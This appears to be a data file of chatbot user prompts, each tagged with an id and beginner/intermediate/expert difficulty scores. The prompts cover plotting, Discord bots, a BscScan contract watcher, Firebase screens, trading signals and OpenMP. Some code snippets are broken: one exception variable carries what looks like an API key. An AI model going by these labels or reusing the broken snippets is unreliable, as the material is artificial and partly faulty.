import numpy as np import matplotlib.pyplot as plt def generate_sin_signal(length, frequency): t = np.arange(length) signal = np.sin(2 * np.pi * frequency * t / length) return signal / np.max(np.abs(signal)) def generate_triangle_signal(length, frequency, amplitude): t = np.arange(length) signal = amplitude * (2 * np.abs((t / length - 0.5) % (1 / frequency) - 0.5) - 0.5) return signal / np.max(np.abs(signal)) def generate_ramp_signal(length, slope): t = np.arange(length) signal = slope * (t / length) return signal / np.max(np.abs(signal)) def generate_impulse_signal(length, positions): signal = np.zeros(length) signal[positions] = 1 return signal def generate_random_noise_signal(length, amplitude_range): signal = np.random.uniform(amplitude_range[0], amplitude_range[1], length) return signal / np.max(np.abs(signal)) def generate_constant_signal(length, constant_value): signal = np.full(length, constant_value) return signal def generate_signals(N, length, frequencies, triangle_amplitude, ramp_slopes, impulse_positions, noise_amplitude_range, constant_values): signals = [] for _ in range(N): sin_signal = generate_sin_signal(length, np.random.choice(frequencies)) triangle_signal = generate_triangle_signal(length, np.random.choice(frequencies), triangle_amplitude) ramp_signal = generate_ramp_signal(length, np.random.choice(ramp_slopes)) impulse_signal = generate_impulse_signal(length, np.random.choice(impulse_positions)) noise_signal = generate_random_noise_signal(length, noise_amplitude_range) constant_signal = generate_constant_signal(length, np.random.choice(constant_values)) stacked_signal = np.vstack((sin_signal, triangle_signal, ramp_signal, impulse_signal, noise_signal, constant_signal)) signals.append(stacked_signal) return signals %matplotlib inline def plot_signals(signals, titles, num_random_signals): num_signals = len(signals) num_rows = signals[0].shape[0] num_plots = min(num_signals, num_random_signals) fig, axs = plt.subplots(num_plots, num_rows, figsize=(12, 8)) fig.tight_layout() for i in range(num_plots): for j in range(num_rows): axs[i, j].plot(signals[i][j]) axs[i, j].set_ylim(-1, 1) axs[i, j].set_xticks([]) axs[i, j].set_yticks([]) if i == 0: axs[i, j].set_title(titles[j]) if j == 0: axs[i, j].set_ylabel(f"Signal {i + 1}") plt.show() CHANGE PLOT FUNCTION SO IT DISPLAYS Y AXIS VALUES ON EACH SUBPLOT
471c5be2e0a8e567cbaefe8a35db2257
{ "intermediate": 0.34040385484695435, "beginner": 0.40523669123649597, "expert": 0.2543594241142273 }
12,684
Give me an example "hello world" program in Nim
53bea56f71dec64096dd1dc32db100ec
{ "intermediate": 0.21379201114177704, "beginner": 0.3019063472747803, "expert": 0.48430171608924866 }
12,685
Write a python discord bot that using / commands will send pictures from the imgur api, you have the bomb option if true 10 pictures wil be send and the type option which shouds send that specific type of chair if no type is selected it wil just send a regelur chair. I already made the commands: import requests url = "https://discord.com/api/v10/applications/{bot id}/commands" json_data = { "name": "chair", "type": 1, "description": "Get a chair image", "options": [ { "name": "bomb", "description": "Bomb option", "type": 5, "required": False }, { "name": "type", "description": "Type of chair", "type": 3, "required": False, "choices": [ { "name": "massage chair", "value": "massage chair" }, { "name": "kitchen chair", "value": "kitchen chair" }, { "name": "comfy chair", "value": "comfy chair" } ] } ] } # For authorization, you can use either your bot token headers = { "Authorization": "Bot {bot token}" } # or a client credentials token for your app with the applications.commands.update scope # headers = { # "Authorization": "Bearer <my_credentials_token>" # }
43e6b5bdd3e092d3ade048515cf9ad39
{ "intermediate": 0.3673733174800873, "beginner": 0.35620245337486267, "expert": 0.27642419934272766 }
12,686
hello
54383903512a86eae389ee561e79fb72
{ "intermediate": 0.32064199447631836, "beginner": 0.28176039457321167, "expert": 0.39759764075279236 }
12,687
Create a web blog about birds
8590f0454516d3f29f93e99722819786
{ "intermediate": 0.3437437117099762, "beginner": 0.3641834259033203, "expert": 0.2920728027820587 }
12,688
is it possible to do a "pip set extra-index-url something" and then it sets it directly in the pip.ini file?
957e083e16005eaa6b9755bc2ce80ff7
{ "intermediate": 0.5509975552558899, "beginner": 0.16629844903945923, "expert": 0.28270402550697327 }
12,689
how to read cdf from spacepy
7ad38ab27fec03c8651047c0cd104bc4
{ "intermediate": 0.5011851787567139, "beginner": 0.22798281908035278, "expert": 0.2708319127559662 }
12,690
Unable to resolve ERROR: Could not build wheels for pandas, which is required to install pyproject.toml-based projects
d29f11317892d7895b9133aa8fa709a4
{ "intermediate": 0.5831049680709839, "beginner": 0.16614873707294464, "expert": 0.2507462501525879 }
12,691
# Оптимизированный!!! Выводит адреса токенов, которые созданы на основе UNCX 0x863b49ae97c3d2a87fd43186dfd921f42783c853 # Блоки обрабатывются последовательно в реальном времени # asyncio.Semaphore 3 или меньше, иначе пропуск транзакций в блоках import asyncio import aiohttp bscscan_api_key = '' # Create a semaphore with a limit of n semaphore = asyncio.Semaphore(3) async def get_internal_transactions(start_block, end_block, session): async with semaphore: url = f'https://api.bscscan.com/api?module=account&action=txlistinternal&startblock={start_block}&endblock={end_block}&sort=asc&apikey={bscscan_api_key}' try: async with session.get(url) as response: data = await response.json() except Exception as CXTB4IUT31N836G93ZI3YQBEWBQEGGH5QSe: print(f'Error in API request: {e}') return [] return data.get('result', []) async def get_contracts_in_block(block_number, target_from_address, session): transactions = await get_internal_transactions(block_number, block_number, session) filtered_contracts = [] for tx in transactions: if isinstance(tx, dict) and tx.get('isError') == '0' and tx.get('contractAddress') != '' and tx.get('from', '').lower() == target_from_address.lower(): filtered_contracts.append(tx) return filtered_contracts async def get_latest_block(session): url = f'https://api.bscscan.com/api?module=proxy&action=eth_blockNumber&apikey={bscscan_api_key}' async with session.get(url) as response: data = await response.json() return int(data['result'], 16) async def display_new_contracts(target_from_address): async with aiohttp.ClientSession() as session: last_processed_block = await get_latest_block(session) while True: latest_block = await get_latest_block(session) for block_number in range(last_processed_block + 1, latest_block + 1): contracts = await get_contracts_in_block(block_number, target_from_address, session) print(f'Transactions in block {block_number}: ') if not contracts: print('No new contracts found.') else: for contract in contracts: print(f"Block: {contract['blockNumber']} - Address: {contract['contractAddress']}") last_processed_block = latest_block await asyncio.sleep(3) # Adjust the frequency of polling the latest block here async def main(): target_from_address = '0x863b49ae97c3d2a87fd43186dfd921f42783c853' await display_new_contracts(target_from_address) asyncio.run(main()) Change the code above so that the program processes the blocks that came out after 200 blocks from the new blocks in the blockchain
1a4ee5a4a27a10660f0334676ca367ed
{ "intermediate": 0.29505178332328796, "beginner": 0.4743260145187378, "expert": 0.23062221705913544 }
12,692
Please update this script so that for each participant it select the 20 images to repeat that is shown most rarely on a group level. Adjust the part relating to # Loop through each group and create a separate CSV file: import pandas as pd import random import numpy as np import matplotlib.pyplot as plt import os def generate_images(num_samples, num_images): # Take list (with 3 equal chunks) # Give each chunk the same number of distortions chunk_size = num_samples // 3 imgs_chunk1 = random.sample(range(1, num_images // 3 + 1), chunk_size) imgs_chunk2 = random.sample(range(num_images // 3 + 1, 2 * num_images // 3 + 1), chunk_size) imgs_chunk3 = random.sample(range(2 * num_images // 3 + 1, num_images + 1), chunk_size) imgs = imgs_chunk1 + imgs_chunk2 + imgs_chunk3 # Create letters for each chunk distortions = [f'{d}{l}' for d in ['_jpeg', '_blur', '_contrast'] for l in ['_70', '_80', '_90']] + ['_original'] num_distortions = len(distortions) num_chunks = 3 let = pd.Series(distortions * (num_samples // (num_distortions * num_chunks))) # Combine chunks, each randomized test = pd.concat([let.sample(frac=1) for _ in range(num_chunks)], ignore_index=True) # Check that each chunk has the same number of letters test = test.astype('category') # Convert to category for overview # Combine and shuffle images = pd.DataFrame({'imgs': imgs, 'test': test}) return images num_samples = 420 # Default 420 num_images = 540 # Default 540 num_observers = 40 # Number of observers # 10000 num_runs = 10000 # Number of runs to perform min_variance = float('inf') min_variance_df = None min_variance_seed = None for run in range(1, num_runs + 1): # Set the seed for reproducibility seed = run random.seed(seed) np.random.seed(seed) # Create an empty list to store the DataFrames for each observer observer_dfs = [] # Generate images for each observer and store the DataFrames in the list for observer in range(1, num_observers + 1): observer_images = generate_images(num_samples, num_images) observer_images['observer_nr'] = observer # Add observer number column observer_dfs.append(observer_images) # Concatenate the DataFrames from each observer into a single result DataFrame result_df = pd.concat(observer_dfs, ignore_index=True) # Convert 'imgs' and 'test' columns to category data type for overview result_df['imgs'] = result_df['imgs'].astype('category') result_df['test'] = result_df['test'].astype('category') # Count the occurrences of each combination combination_counts = result_df.groupby(['imgs', 'test']).size().reset_index(name='count') # Measure the variance in the count variance = np.var(combination_counts['count']) #print(f"Run {run}: Variance in count: {variance}") # Check if this run has the lowest variance so far if variance < min_variance: min_variance = variance min_variance_df = result_df.copy() min_variance_seed = seed print(f"Seed {seed}: Variance in count: {variance}") plt.hist(combination_counts['count'], bins=np.arange(18),align='left') plt.xlabel('Count') plt.ylabel('Frequency') plt.title(f'Histogram of Counts\nVariance: {variance:.4f} | Seed: {min_variance_seed}') plt.xlim(0, 16) plt.ylim(0, 1100) plt.xticks(range(17)) plt.show() # Count the occurrences of each combination combination_counts = min_variance_df.groupby(['imgs', 'test']).size().reset_index(name='count') # Output to csvs min_variance_df['image'] = 'images/'+min_variance_df['imgs'].astype(str).str.cat(min_variance_df['test'], sep='') + '.jpg' # Group the dataframe by observer_nr groups = min_variance_df.groupby('observer_nr') # Loop through each group and create a separate CSV file for name, group in groups: # Shuffle the rows of the group shuffled_group = group.sample(frac=1) # Select 20 random images to repeat repeat_images = shuffled_group.sample(n=20) # Add the repeated images to the shuffled group shuffled_group = pd.concat([shuffled_group, repeat_images]) # Shuffle the group again to distribute the repeated images shuffled_group = shuffled_group.sample(frac=1) # Create a filename for the CSV file filename = f"observer_{name}.csv" # Create a path to the CSV file in the current working directory path = os.path.join(os.getcwd(), filename) # Select the 'filename' column and save it to a CSV file shuffled_group[['image']].to_csv(path, index=False) # -*- coding: utf-8 -*- """ Created on Tue May 23 09:06:44 2023 @author: Del Pin """ import pandas as pd import random import numpy as np import matplotlib.pyplot as plt import os def generate_images(num_samples, num_images): # Take list (with 3 equal chunks) # Give each chunk the same number of distortions chunk_size = num_samples // 3 imgs_chunk1 = random.sample(range(1, num_images // 3 + 1), chunk_size) imgs_chunk2 = random.sample(range(num_images // 3 + 1, 2 * num_images // 3 + 1), chunk_size) imgs_chunk3 = random.sample(range(2 * num_images // 3 + 1, num_images + 1), chunk_size) imgs = imgs_chunk1 + imgs_chunk2 + imgs_chunk3 # Create letters for each chunk distortions = [f'{d}{l}' for d in ['_jpeg', '_blur', '_contrast'] for l in ['_70', '_80', '_90']] + ['_original'] num_distortions = len(distortions) num_chunks = 3 let = pd.Series(distortions * (num_samples // (num_distortions * num_chunks))) # Combine chunks, each randomized test = pd.concat([let.sample(frac=1) for _ in range(num_chunks)], ignore_index=True) # Check that each chunk has the same number of letters test = test.astype('category') # Convert to category for overview # Combine and shuffle images = pd.DataFrame({'imgs': imgs, 'test': test}) return images num_samples = 420 # Default 420 num_images = 540 # Default 540 num_observers = 40 # Number of observers # 10000 num_runs = 10000 # Number of runs to perform min_variance = float('inf') min_variance_df = None min_variance_seed = None for run in range(1, num_runs + 1): # Set the seed for reproducibility seed = run random.seed(seed) np.random.seed(seed) # Create an empty list to store the DataFrames for each observer observer_dfs = [] # Generate images for each observer and store the DataFrames in the list for observer in range(1, num_observers + 1): observer_images = generate_images(num_samples, num_images) observer_images['observer_nr'] = observer # Add observer number column observer_dfs.append(observer_images) # Concatenate the DataFrames from each observer into a single result DataFrame result_df = pd.concat(observer_dfs, ignore_index=True) # Convert 'imgs' and 'test' columns to category data type for overview result_df['imgs'] = result_df['imgs'].astype('category') result_df['test'] = result_df['test'].astype('category') # Count the occurrences of each combination combination_counts = result_df.groupby(['imgs', 'test']).size().reset_index(name='count') # Measure the variance in the count variance = np.var(combination_counts['count']) #print(f"Run {run}: Variance in count: {variance}") # Check if this run has the lowest variance so far if variance < min_variance: min_variance = variance min_variance_df = result_df.copy() min_variance_seed = seed print(f"Seed {seed}: Variance in count: {variance}") plt.hist(combination_counts['count'], bins=np.arange(18),align='left') plt.xlabel('Count') plt.ylabel('Frequency') plt.title(f'Histogram of Counts\nVariance: {variance:.4f} | Seed: {min_variance_seed}') plt.xlim(0, 16) plt.ylim(0, 1100) plt.xticks(range(17)) plt.show() # Count the occurrences of each combination combination_counts = min_variance_df.groupby(['imgs', 'test']).size().reset_index(name='count') # Output to csvs min_variance_df['image'] = 'images/'+min_variance_df['imgs'].astype(str).str.cat(min_variance_df['test'], sep='') + '.jpg' # Group the dataframe by observer_nr groups = min_variance_df.groupby('observer_nr') # Loop through each group and create a separate CSV file for name, group in groups: # Shuffle the rows of the group shuffled_group = group.sample(frac=1) # Select 20 random images to repeat repeat_images = shuffled_group.sample(n=20) # Add the repeated images to the shuffled group shuffled_group = pd.concat([shuffled_group, repeat_images]) # Shuffle the group again to distribute the repeated images shuffled_group = shuffled_group.sample(frac=1) # Create a filename for the CSV file filename = f"observer_{name}.csv" # Create a path to the CSV file in the current working directory path = os.path.join(os.getcwd(), filename) # Select the 'filename' column and save it to a CSV file shuffled_group[['image']].to_csv(path, index=False)
dbc5e6d6bd0187a0505508be7939813b
{ "intermediate": 0.287045955657959, "beginner": 0.519536018371582, "expert": 0.19341807067394257 }
12,693
import { Text, View, TextInput, Pressable, ScrollView, Alert, TouchableHighlight, TouchableOpacity } from 'react-native'; import { gStyle } from '../styles/style'; import Header from '../components/Header'; import Footer from '../components/Footer'; import { useNavigation } from '@react-navigation/native'; import { firebase } from '../Firebase/firebase'; import 'firebase/compat/auth'; import 'firebase/compat/database'; import 'firebase/compat/firestore'; import React, {useState} from 'react'; export default function Auth() { const navigation = useNavigation(); const [email, setEmail] = useState(''); const [password, setPassword] = useState(''); const handleLogin = () => { firebase.auth().signInWithEmailAndPassword(email, password) .then((userCredential) => { const user = userCredential.user; console.log('Пользователь вошел:', user.email); }) .catch((error) => { const errorMessage = error.message; console.log(errorMessage); Alert.alert('Ошибка!', errorMessage); }); }; const handleResetPassword =()=>{ firebase.auth().sendPasswordResetEmail(email) .then(()=>{ Alert.alert('Успешно!','Письмо с инструкцией отправлено на указанную почту') }) .catch((error)=>{ const errorMessage=error.message; console.log(errorMessage); Alert.alert('Ошибка!',errorMessage); }) } return ( <View> <ScrollView> <Header/> <View style={gStyle.main}> <Text style={gStyle.header}>Войти в личный{"\n"}кабинет</Text> <View style={gStyle.AuthContainer}> <View style={gStyle.AuthBox}> <View style={gStyle.AuthBox1}> <Text style={gStyle.AuthName}>Почта</Text> <TextInput style={gStyle.AuthInfo} onChangeText={setEmail} /> </View> <View style={gStyle.AuthBox1}> <Text style={gStyle.AuthName}>Пароль</Text> <TextInput style={gStyle.AuthInfo} onChangeText={setPassword} secureTextEntry={true} /> </View> </View> <Pressable style={gStyle.AuthForgotPassword} onPress={()=>navigation.navigate('ResetPassword')} > <Text style={gStyle.AuthPass}>Забыли пароль?</Text> </Pressable> <TouchableOpacity style={gStyle.AuthLogin} onPress={handleLogin}> <Text style={gStyle.AuthBtnLogin}>Войти</Text> </TouchableOpacity> <Pressable onPress={()=>navigation.navigate('Registration')} > <Text style={gStyle.AuthRegistr}>Я не зарегистрирован(а)</Text> </Pressable> </View> </View> <Footer/> </ScrollView> </View> ); } how can i do redirect on screen Home if user logged in correctly?
575e7aa12b59c1571739fa1712088742
{ "intermediate": 0.39202481508255005, "beginner": 0.4712776243686676, "expert": 0.13669754564762115 }
12,694
const Cup = () => { const {centralizeCamera, cameraDown, cameraUp, readyState, cupSubscribe, cupUnsubscribe, zoomAdd, zoomSub} = useRustWsServer(); const symbol = useSelector((state: AppState) => state.screenerSlice.symbol); const pair = useSelector((state: AppState) => state.cupSlice.pair); const rowCount = useSelector((state: AppState) => state.cupSlice.rowCount); const camera = useSelector((state: AppState) => state.cupSlice.camera); const zoom = useSelector((state: AppState) => state.cupSlice.zoom); const cellHeight = useSelector((state: AppState) => state.cupSlice.cellHeight); const cup: {[key: number]: CupItem} = useSelector((state: AppState) => state.cupSlice.cup); const bestMicroPrice = useSelector((state: AppState) => state.cupSlice.bestMicroPrice); const maxVolume = useSelector((state: AppState) => state.cupSlice.maxVolume); const precision = useSelector((state: AppState) => state.binancePrecision.futures[symbol.toUpperCase()]); const tickSize = useSelector((state: AppState) => state.binanceTickSize.futures[symbol.toUpperCase()]); const [dpiScale, setDpiScale] = useState(Math.ceil(window.devicePixelRatio)); const [canvasSize, setCanvasSize] = useState<CanvasSize>({height: 0, width: 0}); const [animationFrameId, setAnimationFrameId] = useState<number|null>(null); const [zoomedBestMicroPrice, setZoomedBestMicroPrice] = useState<BestMicroPrice|null>(null); const containerRef = useRef<HTMLDivElement|null>(null); const canvasRef = useRef<HTMLCanvasElement|null>(null); const size = useComponentResizeListener(canvasRef); const dispatch = useDispatch(); const darkMode = useTheme().palette.mode === “dark”; const draw = useCallback(() => { if (null === canvasRef || !precision) return; const context = canvasRef.current?.getContext(“2d”); if (context) { cupDrawer.clear(context, canvasSize); const rowsOnScreenCount = cupTools.getRowsCountOnScreen( canvasSize.height, cupOptions().cell.defaultHeight * dpiScale, ); const realCellHeight = canvasSize.height / rowsOnScreenCount; if (cellHeight !== realCellHeight) { dispatch(setCupCellHeight(realCellHeight)); } if (rowCount !== rowsOnScreenCount) { dispatch(setCupRowCount(rowsOnScreenCount)); return; } if (camera === 0) { centralizeCamera(); return; } const zoomedTickSize = parseFloat(tickSize) * Math.pow(10, precision?.price) * zoom; const startMicroPrice = camera + rowCount / 2 * zoomedTickSize - zoomedTickSize; for (let index = 0; index <= rowCount; index++) { const microPrice = startMicroPrice - index * zoomedTickSize; if (microPrice < 0) continue; const item = !cup[microPrice] ? { futures_price_micro: microPrice, quantity: 0, spot_quantity: 0, side: microPrice <= (zoomedBestMicroPrice?.buy || 0) ? “Buy” : “Sell”, } : cup[microPrice]; const yPosition = realCellHeight * index; const isBestPrice = cupTools.isBestPrice( item.side, item.futures_price_micro, zoomedBestMicroPrice, ); cupDrawer.drawCell( context, item, maxVolume, isBestPrice, yPosition, realCellHeight, canvasSize.width, dpiScale, darkMode ); if (isBestPrice) { cupDrawer.drawFill( context, item, maxVolume, yPosition, realCellHeight, canvasSize.width, dpiScale, darkMode ); } cupDrawer.drawPrice( context, cupTools.microPriceToReal(item.futures_price_micro, precision.price), item.side, isBestPrice, yPosition, realCellHeight, canvasSize.width, dpiScale, darkMode ); cupDrawer.drawQuantity( context, cupTools.abbreviateNumber(item.quantity), item.side, isBestPrice, yPosition, realCellHeight, canvasSize.width, dpiScale, darkMode ); } } }, [cup, camera]); const wheelHandler = (e: WheelEvent) => { e.preventDefault(); e.deltaY < 0 ? cameraUp() : cameraDown(); }; useEffect(() => { canvasRef.current?.addEventListener(“wheel”, wheelHandler, {passive: false}); return () => { canvasRef.current?.removeEventListener(“wheel”, wheelHandler); }; }, [camera]); useEffect(() => { if (bestMicroPrice && precision) { const zoomedTickSize = parseFloat(tickSize) * Math.pow(10, precision.price) * zoom; setZoomedBestMicroPrice({ buy: parseInt((Math.floor(bestMicroPrice.buy / zoomedTickSize) * zoomedTickSize).toFixed(0)), sell: parseInt((Math.ceil(bestMicroPrice.sell / zoomedTickSize) * zoomedTickSize).toFixed(0)), }); } }, [bestMicroPrice]); useEffect(() => { if (null !== animationFrameId) { cancelAnimationFrame(animationFrameId); } setAnimationFrameId(requestAnimationFrame(draw)); }, [cup, symbol, camera]); useEffect(() => { setDpiScale(Math.ceil(window.devicePixelRatio)); }, [window.devicePixelRatio]); useEffect(() => { if (!size) { return; } setCanvasSize({ width: Math.floor(size.width) * dpiScale, height: Math.floor(size.height) * dpiScale, }); }, [dpiScale, size]); useEffect(() => { if (0 === camera) { centralizeCamera(); } }, [zoomedBestMicroPrice]); useEffect(() => { if (symbol) { dispatch(setCupPair(symbol.toUpperCase())); dispatch(setCupCamera(0)); } }, [symbol]); useEffect(() => { if (readyState === ReadyState.OPEN && null !== pair) { cupSubscribe(pair, camera, zoom, rowCount); } return () => { if (pair != null) { cupUnsubscribe(pair); } }; }, [pair, camera, zoom, rowCount, readyState]); return <div ref={containerRef} className={styles.canvasWrapper}> <div className={styles.controls}> <IconButton onClick={zoomSub} size=“small”> <RemoveRounded /> </IconButton> <span>x{zoom}</span> <IconButton onClick={zoomAdd} size=“small”> <AddRounded /> </IconButton> </div> <canvas ref={canvasRef} className={styles.canvas} width={canvasSize?.width} height={canvasSize?.height} /> </div>; }; export default Cup; import {CanvasSize} from “./Cup”; import cupOptions, {drawRoundedRect} from “./Cup.options”; import cupTools from “./Cup.tools”; import {CupItem} from “…/…/…/hooks/rustWsServer”; const cupDrawer = { clear: (ctx: CanvasRenderingContext2D, size: CanvasSize) => { ctx.clearRect(0, 0, size.width, size.height); }, drawCell: ( ctx: CanvasRenderingContext2D, cupItem: CupItem, maxVolume: number, isBestPrice: boolean, yPosition: number, cellHeight: number, fullWidth: number, dpiScale: number, darkMode: boolean, ) => { ctx.beginPath(); ctx.strokeStyle = cupOptions(darkMode).border.color; ctx.lineWidth = cupOptions(darkMode).border.width; ctx.fillStyle = cupTools.getCellBackground(cupItem.side, isBestPrice, darkMode); // @ts-ignore ctx.roundRect( 0, yPosition, cupTools.getCellWidth(fullWidth, cupItem.quantity, maxVolume, isBestPrice), cellHeight, cupOptions(darkMode).border.radius * dpiScale, ); ctx.fill(); ctx.stroke(); }, drawFill: ( ctx: CanvasRenderingContext2D, cupItem: CupItem, maxVolume: number, yPosition: number, cellHeight: number, fullWidth: number, dpiScale: number, darkMode: boolean, ) => { ctx.beginPath(); ctx.strokeStyle = “#ffffff00”; ctx.lineWidth = cupOptions().border.width; ctx.fillStyle = cupItem.side === “Buy” ? cupOptions(darkMode).bestBuy.fillColor : cupOptions(darkMode).bestSell.fillColor; ctx.roundRect( 0, yPosition, cupTools.getCellWidth(fullWidth, cupItem.quantity, maxVolume, false), cellHeight, cupOptions().border.radius * dpiScale, ); ctx.fill(); ctx.stroke(); }, drawPrice: ( ctx: CanvasRenderingContext2D, price: string, side: string, isBestPrice: boolean, yPosition: number, cellHeight: number, fullWidth: number, dpiScale: number, darkMode: boolean, ) => { const {width: textWidth} = ctx.measureText(price); ctx.textBaseline = “middle”; ctx.font = ${cupOptions().font.weight} ${cupOptions().font.sizePx * dpiScale}px ${cupOptions().font.family}; ctx.fillStyle = cupTools.getPriceColor(side, isBestPrice, darkMode); ctx.fillText( price, fullWidth - cupOptions().cell.paddingX * dpiScale - textWidth, yPosition + cellHeight / 2, ); }, drawQuantity: ( ctx: CanvasRenderingContext2D, quantity: string, side: string, isBestPrice: boolean, yPosition: number, cellHeight: number, fullWidth: number, dpiScale: number, darkMode: boolean, ) => { ctx.textBaseline = “middle”; ctx.fillStyle = cupTools.getQuantityColor(side, isBestPrice, darkMode); ctx.fillText( quantity, cupOptions().cell.paddingX * dpiScale, yPosition + cellHeight / 2, ); }, }; export default cupDrawer; const cupOptions = (darkMode?: boolean) => ({ sell: { backgroundColor: darkMode ? “#4A0B09” : “#F3C9CE”, priceColor: darkMode ? “#fff” : “#B41C18”, quantityColor: darkMode ? “#CA1612” : “#191919”, }, bestSell: { backgroundColor: darkMode ? “#4A0B09” : “#d0706d”, fillColor: darkMode ? “#CA1612” : “#a5120e”, priceColor: “#FFFFFF”, quantityColor: “#FFFFFF”, }, buy: { backgroundColor: darkMode ? “#0f3b2b” : “#CAD7CD”, priceColor: darkMode ? “#fff” : “#006943”, quantityColor: darkMode ? “#00923A” : “#191919”, }, bestBuy: { backgroundColor: darkMode ? “#006943” : “#4d967b”, fillColor: darkMode ? “#00923A” : “#005737”, priceColor: “#FFFFFF”, quantityColor: “#FFFFFF”, }, font: { family: “Mont”, sizePx: 11, weight: 400, }, border: { width: 1, color: darkMode ? “#191919” : “#ffffff”, radius: 6, }, cell: { paddingX: 4, defaultHeight: 16, }, }); export default cupOptions; отрисовать в drawFill прямоугольник(Rect) вместо roundRect и потом скруглить углы цветом светлой/темной темы думаю нужно путь только построить немного иначе и в два патча (beginPath / closePath) Первым слоем рисуется обычный прямоугольник со скруглением. drawCell Вторым слоем прямоугольник без скругления. drawFill Третьим слоем рисуются скругления (розовые на скрине) белого цвета для светлой темы и темного для темной.
006704ec370c4afff235e2f36204f411
{ "intermediate": 0.3399718105792999, "beginner": 0.4993676543235779, "expert": 0.160660520195961 }
12,695
import { Pressable, Text, TextInput, View, Image, TouchableOpacity, Modal } from 'react-native'; import { gStyle } from '../styles/style'; import { Feather } from '@expo/vector-icons'; import React, { useState, useEffect } from 'react'; import { useNavigation } from '@react-navigation/native'; import { firebase } from '../Firebase/firebase'; import 'firebase/compat/auth'; import 'firebase/compat/database'; import 'firebase/compat/firestore'; export default function Header() { const [userAuthenticated, setUserAuthenticated] = useState(false); const [isModalVisible, setIsModalVisible] = useState(false); const showModal = () => { setIsModalVisible(true); }; const hideModal = () => { setIsModalVisible(false); }; const navigation = useNavigation(); useEffect(() => { const unsubscribe = firebase.auth().onAuthStateChanged(user => { if (user) { setUserAuthenticated(true); } else { setUserAuthenticated(false); } }); return unsubscribe; }, []); return ( <View style={gStyle.main}> <View style={gStyle.headerContainer}> <Image source={require('../assets/logo.png')} style={gStyle.logoImg} /> <View style={gStyle.menu}> <TouchableOpacity onPress={showModal}> <Text style={gStyle.menuRedLine}></Text> <Text style={gStyle.menuRedLine}></Text> <Text style={gStyle.menuRedLine}></Text> <Modal visible={isModalVisible} animationType='fade' transparent={true}> <View style={gStyle.modal}> <TouchableOpacity onPress={hideModal}> <Text style={gStyle.close}>Х</Text> </TouchableOpacity> <TouchableOpacity onPress={()=>navigation.navigate('Home')} > <Text style={gStyle.menuItem}>Главная</Text> </TouchableOpacity> <TouchableOpacity onPress={()=>navigation.navigate('AllFutureMK')} > <Text style={gStyle.menuItem}>Будущие мастер-классы</Text> </TouchableOpacity> <TouchableOpacity onPress={()=>navigation.navigate('AllPastMK')} > <Text style={gStyle.menuItem}>Архив мастер-классов</Text> </TouchableOpacity> <TouchableOpacity onPress={()=>navigation.navigate('Sales')} > <Text style={gStyle.menuItem}>Скидки</Text> </TouchableOpacity> {userAuthenticated ? <TouchableOpacity onPress={()=>navigation.navigate('Profile')} > <Text style={gStyle.menuItem}>Личный кабинет</Text> </TouchableOpacity> : <TouchableOpacity onPress={()=>navigation.navigate('Auth')} > <Text style={gStyle.menuItem}>Личный кабинет</Text> </TouchableOpacity> } </View> </Modal> </TouchableOpacity> </View> </View> <View style={gStyle.searchBox}> <TextInput style={gStyle.search} placeholder="Поиск" /> <View style={gStyle.boxBtn}> <Pressable style={gStyle.searchBtn}> <Feather name="search" size={25} color="white" /> </Pressable> </View> </View> </View> ); } i neet to enter title of mk which i want to find and then when i click on the button it redirects me on a search screen with the results. First, FutureMK are shown, and then PastMK, i mean there are two different collections
7b4953e8f00c5e4fa75f18cdca387c11
{ "intermediate": 0.41122108697891235, "beginner": 0.42776423692703247, "expert": 0.16101469099521637 }
12,696
I used this signal_generator code: def signal_generator(df): # Calculate EMA and MA lines df['EMA5'] = df['Close'].ewm(span=5, adjust=False).mean() df['EMA20'] = df['Close'].ewm(span=20, adjust=False).mean() df['EMA50'] = df['Close'].ewm(span=50, adjust=False).mean() df['EMA100'] = df['Close'].ewm(span=100, adjust=False).mean() df['EMA200'] = df['Close'].ewm(span=200, adjust=False).mean() # new line df['MA10'] = df['Close'].rolling(window=10).mean() df['MA50'] = df['Close'].rolling(window=50).mean() df['MA100'] = df['Close'].rolling(window=100).mean() # Calculate the last candlestick last_candle = df.iloc[-1] # Check for bullish signals if current_price > last_candle[['EMA5', 'EMA20', 'EMA50', 'EMA100', 'EMA200']].iloc[-1].max() * 1.01: if last_candle[['EMA5', 'MA10', 'MA50', 'MA100', 'EMA200']].iloc[-1].min() > current_price * 0.999: return 'buy' # Check for bearish signals elif current_price < last_candle[['EMA5', 'EMA20', 'EMA50', 'EMA100', 'EMA200']].iloc[-1].min() * 0.99: if last_candle[['EMA5', 'MA10', 'MA50', 'MA100', 'EMA200']].iloc[-1].max() < current_price * 1.001: return 'sell' # If no signal found, return an empty string return '' df = get_klines(symbol, '1m', 44640) But when price is higher more than EMA and MA lines it doesn't give me signals, please give me updated code
eb7b526543b77337b29bd80e380e8b6c
{ "intermediate": 0.39955607056617737, "beginner": 0.3554568588733673, "expert": 0.24498702585697174 }
12,697
owner and parent for button in delphi
ea2710c6757a37d0fdcfd10929ec6d92
{ "intermediate": 0.3586706519126892, "beginner": 0.27724841237068176, "expert": 0.3640809655189514 }
12,698
Write python code to access and list a google drive folder , download all zip files from that folder.
09db749397b070706b85053609f8f7c3
{ "intermediate": 0.4120955467224121, "beginner": 0.1785092055797577, "expert": 0.4093952178955078 }
12,699
#include <stdio.h> #include <string.h> #include <ctype.h> #include <omp.h> struct wordcount{ char word[20]; int count; }; //定义wordcount类型 int main() { FILE *fp; struct wordcount wordcount[100000]; char essay[200000], ch, temp[20]; //定义essay数组存储文章内容,ch为每次读取的字符,temp数组暂存单词 int i, j, k, len, count; fp = fopen(“word.txt”, “r”); for(i=0; (ch = fgetc(fp)) != EOF; i++) essay[i] = ch; len = i; //获得文章长度 #pragma omp parallel for private(i) for(i=0; i<len; i++) { if(isalpha(essay[i]) || essay[i]==‘-’) //如果是字母或短横线,将其小写化 essay[i] = tolower(essay[i]); //否则将其替换为空格,方便单词的分割 else essay[i] = ’ ‘; } k = 0; #pragma omp parallel for private(i,j,k) shared(wordcount, essay, count) for(i=0; i<100000 && k<len; i++) { for(j=0; j<20 && essay[k]!=’ ’ && k<len; j++, k++) wordcount[i].word[j] = essay[k]; k++; //跳过下一个空格 } count = i; #pragma omp parallel for private(i,j,k) shared(wordcount, count) for(i=0; i<count; i++) wordcount[i].count = 0; //将所有单词出现次数初始化为0 #pragma omp parallel for private(i,j,found) shared(wordcount, count) for(i=0; i<count; i++) { int found = 0; for(j=0; j<i; j++) { if(strcmp(wordcount[i].word, wordcount[j].word)==0) //判断是否找到了已经处理过的单词 { found = 1; break; } } if(!found) { for(j=0; j<count; j++) { if(strcmp(wordcount[i].word, 